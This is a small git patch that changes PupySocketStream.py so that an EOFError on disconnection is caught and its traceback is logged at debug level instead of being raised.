From 9a7c2148e1e65d3751dc687bb438ab60ae645ee0 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Fri, 17 Jun 2016 23:25:49 +0200 Subject: [PATCH] hide traceback on disconection --- pupy/network/lib/streams/PupySocketStream.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pupy/network/lib/streams/PupySocketStream.py b/pupy/network/lib/streams/PupySocketStream.py index 9a99898d..33c043ff 100644 --- a/pupy/network/lib/streams/PupySocketStream.py +++ b/pupy/network/lib/streams/PupySocketStream.py @@ -105,7 +105,10 @@ class PupySocketStream(SocketStream): try: with self.upstream_lock: self.buf_out.write(data) - self.transport.upstream_recv(self.buf_out) + try: + self.transport.upstream_recv(self.buf_out) + except EOFError as e: + logging.debug(traceback.format_exc()) #The write will be done by the _upstream_recv callback on the downstream buffer except Exception as e: logging.debug(traceback.format_exc())